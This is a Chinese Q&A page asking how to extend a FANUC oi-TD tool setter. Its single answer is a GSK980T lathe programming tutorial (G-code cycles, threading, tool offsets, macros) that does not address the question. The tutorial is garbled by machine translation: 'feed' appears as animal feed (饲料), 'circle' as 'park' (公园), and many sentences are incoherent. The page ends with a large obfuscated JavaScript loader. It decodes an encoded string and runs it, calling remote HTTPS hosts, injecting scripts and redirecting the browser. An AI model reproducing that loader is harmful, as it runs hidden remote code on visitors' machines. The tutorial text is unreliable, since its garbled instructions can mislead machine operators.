FANUC Series oi-TD如何伸出对刀仪

2025-01-28 15:19:47
推荐回答(1个)
回答1:

  GSK980TA / D编程教材
  “一个”基本的编程概念  “三化”单一固定循环
  “四大”复合固定循环
  “两节”常见G代码/> “十二五”的用户宏
  “六个一”线程
  “七”T代码和刀具补偿
  “八”F代码和G98,G99
  “九”S码和G96, G97
  (注:这是对学习材料参考编程的宽一些实际操作中应GSK980T车床数控系统使用手册为准)
  2007年9月
  >编程“一”的基本概念:
  一般用在一次装夹过程中一个完整的车床程序根据工件加工的NC程序,包括程序号,程序段的要求完成。
  (一)程序号:等同于程序名,程序号系统通过从存储器中的程序,以确定一些程序要处理,用字母O程序号和四位数字。
  (2)块:一个程序语句的等价物,由多个领域,最后是一个分号(EOB打字;)输入后会自动添加关键。由多个块,一个块或一组完成该工具的移动或实现一些机器的特征构成的程序。
  领域(或词)(三):一个英文字母叫“地址”加了一些数字。根据其功能可分为字段的以下几种类型:
  ▲座数:字母N和数字组成,位于挡在前面,主要作用是使程序更易于阅读,可以省略,但一些特殊的程序段(如跳转指令,表示程序段的目标)必须标明的块号。
  程序,以方便插入,当一个新的块,每个句子的块数一般间隔一些数字(如N0010,N0020,N0030)。
  ▲ready函数:G代码,用字母G和两位数字,大部分的G代码来表示刀具的运动。 (如G00,G01,G02)
  ▲表示的大小的字段的(坐标):一般用在后面的G代码字段提供的坐标数据,在G代码表示从一个信移动到的坐标值? ?(整数或小数)组件。信件包括:
  表示绝对坐标:X,Y,Z
  表示相对坐标:U,V,W
  说,园心坐标:I,J,K
  (仅使用X中的实际车床坐标,Z,那么Y,V,J没有必要)
  ▼饲料中的字段,表示:?用字母F的值添加到该组合物中,通常以该内插指令块,提供高速插补运动。
  ▼S码:表示主轴转速领域。 rpm主轴以字母S加(或主轴速度:米/分钟)的组件。
  ▼T代码:那ATC刀具补偿
  ▼辅助功能:组成以字母M和两位数字,这意味着该机器是开放的,停止等。该机的主要活性M码:
  M03:主轴旋转。 M04:主轴反转。 M05:主轴停止。
  M08:冷却液。 M09:冷却液。
  M00:程序暂停。 (暂停后按“循环启动”按钮,继续运行)
  M30:程序结束。一个程序通常M30结束程序的最后一个块。
  控制尾座夹头M代码和机器是无效的。
  ▼其他特殊用途的领域,主要用在一些螺纹车刀,G代码循环义无反顾,用户宏程序。
  “两节”常见G代码介绍
  (一)主要功能的基本知识
  G代码:直接控制刀具运动的。
  3基本概念:
  ▲插补:数控机床,按指令刀具,沿X轴和Z轴进给运动。轨迹:直线
  Z方向----缸线性停车场
  X,支持汽车面部 ----窦直---------- ---停车场的球形电弧----------------
  插补运动,即基础车床加工的物质作停车场
  锥:数控刀具根据该指令系统中,X轴和Y轴方向,分别小的距离,刀具的实际运动方向为X,的Y轴构成的工具的轨迹的两个方向的一系列这样的运动的合成。
  基本插补指令:G01,G02,G03
  ▲模态和非模态代码
  模态代码:计划成立后的一个字段,该程序段后一直有效,如果他们继续保持这种状态,没有重新设置。
  非模态代码,即一次性代码,只在程序段中有效。
  所有的G代码可以分为模态和非模态
  ▲G代码:共四组,每组
  ①00组:一次性代码,包括两大类:
  > 1,则该指令本身作为一个一次性的性质,如G50(坐标系设定),G04(暂停)。
  2,复合型固定循环,G70-G76,指令重复循环几次。
  ②01组:一组是最常用的,主要用于移动工具。包括以下几类:
  1,快速移动:G00
  2,插补:G01,G02,G03
  3,主题:G32
  4,单一类型的固定循环:G90 ,G92,G94
  01组模态,一旦指定,将一直有效,直到它被替换为同组其他G代码。 02,03下同模态组的指令。
  ③02组:只有G96,G97二为恒线速控制开关模态。
  ④03组:只有G98,G99 2用于设定该单元的进料速率是模态的(每分钟进给量或进给量主轴每转)。
  (2)G代码常用
  ▲G50:轴的设定(实际上:刀具的实际位置,工件坐标系确定的X,Z坐标值)
  G50后指令被执行,没有动静,但工件坐标系是由指令值更新。
  使用范例:G50 X100 Z250;
  含义的本质是:X坐标的工件坐标系统现已为100,后的250 Z坐标系统立即显示新的坐标值。下一个条目的方式建立的刀通过工件坐标系。
  上工件坐标系(即,编程的坐标系使用):
  到车床主轴轴X方向为零(即径向零)。
  Z轴方向是零(即,零轴向位置),可以根据工件确定的,一般的夹头端或工件的零点位置的右端面。 正方向和负方向:一个方向离开工件,即主轴Z轴的旋转轴线,从左至右为肯定时,X轴方向沿径向穿过,向外从中心为正(从车削的视场角,常规切割进给方向是朝向大X,Z轴的负方向)。当时,的绝对值使用,X坐标编程
  总是正的(除特殊情况外),Z坐标不一定。
  当使用相对值?园外编程序正在转向对负方向,所以U,W值?往往是负面的。 (相对值编程时的前进方向与刀具轴的正,负对照一致的正方向,简而言之,就是去负,它是正数)。
  ▲G00快速移动
  使用的例子:G00 X50 Z200;或相对坐标:G00 U15 W5;后面
  有两个大小字段的X,Z或U,W,用于指示移动目标的位置。 G00是从当前位置快速移动到目标位置的工具执行的结果。
  G00实际上并不属于插补指令执行X,Z轴独立运动,在第一次到达一个坐标轴,该轴停止运动,而另一轴继续(沿X或Z方向)运动。因此,轨道的移动部开始窦大致直的部分是平行于X轴和Z轴或直线。
  一定要注意该工具是否可与工件使用G00时发生碰撞。
  ▲G01直线插补
  使用的例子:G01 X50 Z200 F20;或相对坐标:G01 U15 W5;类似
  与G00,用X,Z或U,W表示在年底插补运动目标位置。
  大多数车削,作为公园,内孔,面,圆锥外使用G01来完成的。
  使用G01 Notes程序:
  ①程序,如果是第一次使用G01时,必须指定进给率F值的金额,如进给速度不变后,F字段可以省略。
  ②使用G01前,刀具必须确保当前的位置是正确的位置(由于G01唯一指定的终点位置插补,没有指定起始位置插值)
  ③G00,G01和坐标值?是模态指令,在同一领域的下一个块可以被省略。
  如:N0010 G00 Z200;
  N0020 X90; (作用相当于G00 X90 Z200 ;)
  N0030 G01 Z150 F70;
  N0040 X95; (作用相当于G01 X95 Z150 F70 ;)
  ▲G02,G03圆弧插补
  使用的例子:
  G00 X50 Z152; (快速定位到起始点)
  G01 G150;
  G02 X150 Z100 R50 F30;
  (X150,Z150结束坐标园弧,R50为园弧半径)
  还可以用来从一开始到花园中心,距离I,K坐标来表示:
  G02 X150 Z100 I50 F30; (I50:是指在X方向从起点到公园的心脏地带是距离50,Z方向是零,K0可以省略)
  注:
  ①只使用了第一个转塔车床,判断和逆时针沿相反的标准。
  ②公园,从右边圆弧切削头向左,逆时针,与G02命令这种情况下。从右侧的小端加工园区弧的大底,你应该使用G03。
  ③I,K值注释符号:?从起点一致的正方向,以花园中心的轴的正方向。
  ④我珍惜属于径向距离,不计算直径。
  ▲G04暂停
  用法举例:G04 P500; (暂停500毫秒,即0.5秒)
  G04 X3.5; (暂停3.5秒)
  可以用来切槽,步骤的工具,如需要作短暂停留的场合的加工面的端面。
  “三化”单一固定循环G90,G92中,“G00快速接近工件”的G94
  单一固定循环→“插补运动传递”→“插入回缩”→“G00快速返回”的四个运动起来。为了简化该过程。
  ▲G90:内外园车削循环
  使用的例子:
  G90 X50 Z35 F0.2(园柱面车削)
  G90 X50 Z35 R2.5 F0.2 (锥端面车削,起点和终点之间的差异R2.5半径点半径)
  注:
  ①工件大幅度的G90可以被多次调用,例如:
  > G90 X75 Z20 F0。 2;
  X70; (因为它是模态的,本场不必重复同一类型)
  X65;
  ②在使用G01的区别:
  G01必须先使用该工具命令移动到正确的起始位置,以保证起点X轴加工尺寸
  G90是在转弯的开始本款移动到位后自动计算,所以在G90块,该工具应该被移动到合适的缩进位置。
  ▲类似的使用G94和G90,用于端面切削,G92中螺纹车削介绍。
  “四大”复合车削固定循环
  (1)配合使用的G70,G73,G70的粗,精车是完成指令(与G71或联同G72或G73)的命令,这些在程序指令使用由三部分组成,以G71为例说明如下:第一部分
  #:G71方案有两个部分,用来定义每个刀具粗加工的深度第一次G71,退刀量等。 ;第二G71是用来确定精品小车段之间的关系,以保证精加工余量,并开始粗加工。第二部分
  #:用于确定轨迹精整生产线,多个程序段组成。成品汽车的使用和提供数据用于粗加工。第三部分
  #:G70块,即实际开始整理说明。
  使用的例子:
  N20 G00 X200 Z302; (粗加工快速定位到起始点)
  N30 G71 U5 R1 F30; (U5:的切割制作5mm径向各粗加工深度,R1:每回缩高度仅1mm)
  N40 G71 P50 Q80 U0.6 W0.2;
  (P50:描述精加工路径第一程序段号N50)
  (Q80:说明最后一个块号精加工路径为N80)
  (U0.6,W0.2:左桡精加工余量,轴向保证金)
  N50 G00 X100; (描述的第一个块精加工路径)
  (注:1,在此径向开始迅速找到正确的名次
  2,本节不允许Z方向定位
  。 3,从N50,N80每段不能省略块号。
  4,从N50到N80各分部的X,Z坐标值?只允许单向方向,以减少或单向增加。)
  > N60 G01 Z260 F20;
  N70 G01 X195 Z210;
  N80 G01 Z200; (在最后一个块描述精加工路径)
  (此处插入也可以更改指令)
  N110 G70 P50 Q80; (开始精车,N50的块中的实际执行情况,以N80)
  N120 G00 X220 Z320; (精车退出)
  ▲上面G71 + G70粗加工指令是反复的Z-轴刀具路径切削工件余量,提供了精品小车的钢毛坯工件公园良好的条件。
  ▲G72 + G70车削循环和G71类似,但是是基于几个X轴粗加工刀切割工件方向保证金钢坯的花园,一大块每个台阶表面直径差的。
  ▲G73 + G70车削循环,同样的基本用法,但每个粗加工和精加工路径的轨迹是相似的一些锻件毛坯形状,铸件,这种粗糙的初步已经完成,并且不应该使用G71,G72指令。
  (2)外的公园切槽循环G75的例子:
  G00 X81 Z-30; (定位到时隙的开始,并注意考虑刀具宽度)
  G75 R0; (R0:每个X方向回缩0,即直接切入正下方)
  G75 X50 Z-80 P16000 Q5000 R0 F50
  X,Z轴:沟槽终点坐标。
  病人:X方向每次切削深度(半径值,单位0.001mm)。
  问:每一个动作(单位0.001mm)的Z方向,注意应小于刀具的宽度。
  记:Z各方向退刀量。
  (3)在螺纹加工循环G76指令描述。
  “十二五”线程线程
  该系统有三个命令:G32,G92,G76。公制的领先优势为F指定的齿数每一寸一寸指定一
  (1)G32:是基本的线程处理指令。
  用法举例:G32 X15.2 Z100 F2;
  X15.2,Z100是螺纹终点坐标,F2:铅(单个线程的间距)为2(如果每英寸的牙数,利用我作为I11,每英寸11牙使用本品前。命令,该工具应该先找到正确的起始位置,只要小于为出发点的X坐标(内螺纹大于)×终点的坐标,你可以开车了工具锥螺纹的起始位置Z轴方向应≥2次从工件铅(2)G92:单一固定循环,G92每次完成快进 - 螺纹切削 - 快速退刀 - 开始
  。 > G92还返回在螺纹车削结束时,按要求退出规则(所谓的线程中运行出倒角),从而转动螺纹退刀槽在没有的情况下用法举例:G92 X15.2 Z100 F2;
  相同含义和G32,但使用G92之前,只有工具找到一个合适的起始位置(退避位置X方向)的G92,系统会自动将刀具定位到的切割位置G32所需的深度是不。 ,X方向的起始位置必须切断位置
  车锥螺纹例如:G92 X29.2 Z150 R-1.5 I11(R -1.5:可怜的出发点和
  (3)G76终点半径:。
  复合型螺纹切削循环G76方案由两部分组成,该参数可自动指定的周期数,线程好后运行,直到上车。
  G76根据牙型角(GSK980TA限于80°,60°,55°,30°,29O,0O,GSK980TD没有这样的限制),沿窦连番下调,以保证单边刀具切削刃的工作,避免了刀杆的发生。随着逐渐切螺纹深度,依法减少切削深度,直到切设定的最小深度的系统,可根据切割进给的最小深度。
  使用范例:
  N10 G00 X80 Z280; (快速定位到起始点)
  N20 G76 P030660 Q50 R0.1; (6位数字后面P分别表示:在完成3次,针尾向下角为6,尾部背面螺距,牙型角60度的长度,即60%)
  。 (Q50:切0.05最小深度(半径值,命令单位为0.001),
  (R0 .1:整理左边距0.1(半径值))
  N30 G76 X71 Z200 R0 P1949 Q250 F3;
  (R0(X,Z螺纹端位置):指定起点和终点的差异,其中R0是直螺纹点的车锥螺纹半径,可省略)
  (P1949:螺纹径向高度的1.949,指令单位为0.001)
  (Q250 ::第一次为0.25mm的径向切削深度,指令单位为0.001)
  ▲线程问题应该注意:
  ①主轴转速:不算太高,尤其是在大型丝杠,进给速度过高过快而导致的异常,一些信息推荐最大速度:
  当使用伺服进给电机:铅*主轴转速不超过3000
  ②切割,刀切割出的空间量,以在伺服电机上的切削螺纹的正常运转的情况下,应该有切割的足够的空间,Z轴方向的长度,些信息数据的建议:
  气刀切割铅≥2倍的量;风刀切断铅
  ③线程≥0.5倍,应变换处理速度的金额。
  “七”T代码和刀具补偿:
  T代码用于选择刀具号和指定的刀具补偿号。
  为T0202;第02选择刀具02,第二个02被指定为第2刀补值是当前的刀具偏置值。
  通常数量应与刀刀具补偿号一致,但取消刀具半径补偿,即刀具补偿值为零,程序有时会取消刀具半径补偿(当坐标系设定G50刀具补偿,如系统设置00),可以用作:
  T0100;即使用的第1刀,取消刀具补偿。
  “六”F代码和G98,G99:
  F编码用于指定进给量。
  G98,G99为每分钟进给,每转进给量转化
  系统默认的进给率G98单位分别为毫米/分钟,车床加工一般用毫米/转,
  习惯车床饲料每转工量插补指令前开始,使用G99指令(如G99 F0.15)进给系统设定为每转进给量。然后使用F场插值命令来确定饲料的实际金额。
  “八”S码和G96,G97,G50 S
  ▲S码是用来指定主轴转速,如S500,这是500转/分钟,但如果在恒定的表面状态速度G96相比,切割线速度。恒定的线性
  ▲G96,G97取消恒线速,G50 S主轴转速极限。
  端面加工中,如果固定的主轴转速,由于改变了加工表面的直径,切割速度也有变化,表面粗糙度可导致不一致的现象,如恒速控制可以减少的直径工件相应提高主轴转速,以帮助提高表面质量,提高生产率。
  过的恒线速情况下端面,刀具接近工件中心时,速度会变得非常大,这是非常危险的,你必须使用G50 S来限制最大速度: BR />使用范例:G50 S2000; (限2000转/分的最高转速)
  G96 S150; (恒定线速度开始指定为150米/分的切削速度)
  G01 X10; (开始高档轿车)
  G97 S200; (取消定速,200转/分
  “七”调用一个子程序(用户宏程序)和G65命令
  使用子程序可以减少编程工作,避免重复的努力,并作出明确的程序结构,便于阅读分析。GSK980T用户可以使用宏程序是一个子程序的变量,当这样一个子程序是从程序中调用,根据不同的值?的变量,并做出相应的处理,灵活,功能更强大
  情况:M98 P0050008;。(005:拨打5次,0008:子程序调用数O0008)
  M98 P0008;(只调用一次)
  说明:980T子程序是一个独立的程序,也被称为宏程序,你应该把子程序的编制和保存一个独立的程序,
  最后一个块子程序是:M99,M99系统,即返回到主后执行。下一个块被执行M98
  M98,M99,例如
  主要O0007;。
  M03 S1500 T0101;
  G00 X81 Z0;
  M98 P0050008;
  G00 X90 Z200;
  M30;
  子程序O0008;
  G00 W-10;
  G01 X0 F150;
  G00 X82;
  M99; (2)概念
  变量:为了有一个更好的宏观经济的通用性,一些宏观数据,如X的,你不能指定的Z坐标值等特定值,但而不是当主程序需要调用宏程序,根据为变量赋值的要求,在实施宏观变量,宏变量将被替换的实际价值。
  每个变量都有一个变量名,GSK980T变量名以#再加上可变数量的成分,如#201公共变量GSK980T为#200#231,您可以指定32个公共变量。
  (4)G65指令用于使用
  用G65实施例的各种处理的变量。
  ①G65 H01 P#201 Q150000;
  H01:变量赋值指令(必须遵循G65之后);
  P#201:作业#201的目标是可变的;
  Q1500:源分配是150000;分配PQ后面的变量的后面真实值;此块
  意思是#201 = 150000。H01赋值指令也可以把一个变量的值给另一个变量。 (注:?的坐标值的变量赋值时,单位为0.001mm)
  ②G65 H03 P#213 Q#213 R 1;
  H03:变量的减法运算,变量背面后面的R值的Q值中减去(或其他变量),所得到的差被分配给变量P的后面。 (H02是加法指令)
  在这里被重新赋值给一个变量号#213至#213后减1
  ③G65 H81 P160 Q#213 R0;
  H81:?条件跳转如果Q值等于变量值(或变量值)R背的背,跳转到阻止数P回去,否则,它必须订购一个块。
  H81-H86是各种不同的条件跳转指令(参见手册64)
  这里是确定的变量编号#213的值等于零,则跳转到160块的执行,不是零,则原始序列。
  ④G65 H80 P100;
  H80:无条件跳转到程序段号后面进行P上。跳转这里说的100块。
  用G65指令来实现实现循环加工为例
  O0007;
  M03 S1500;
  G65 H01 P#201 Q5; (#201计数器变量的赋值5)
  G00 X81 Z0;
  N0030 G00 W-20; (循环处理的第一个,注意使用相对坐标)
  G01 X0 F100;
  G00 X82; (循环处理最后一个)
  G65 H03 P#201 Q#201 R 1; (#201计数变量减1)
  G65 H82 P0030 Q#201 R0; (计数器#201不等于0跳过子N0030继续处理,等于0,那么下一个)
  G00 X90;
  Z200;
  M30;
  %

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();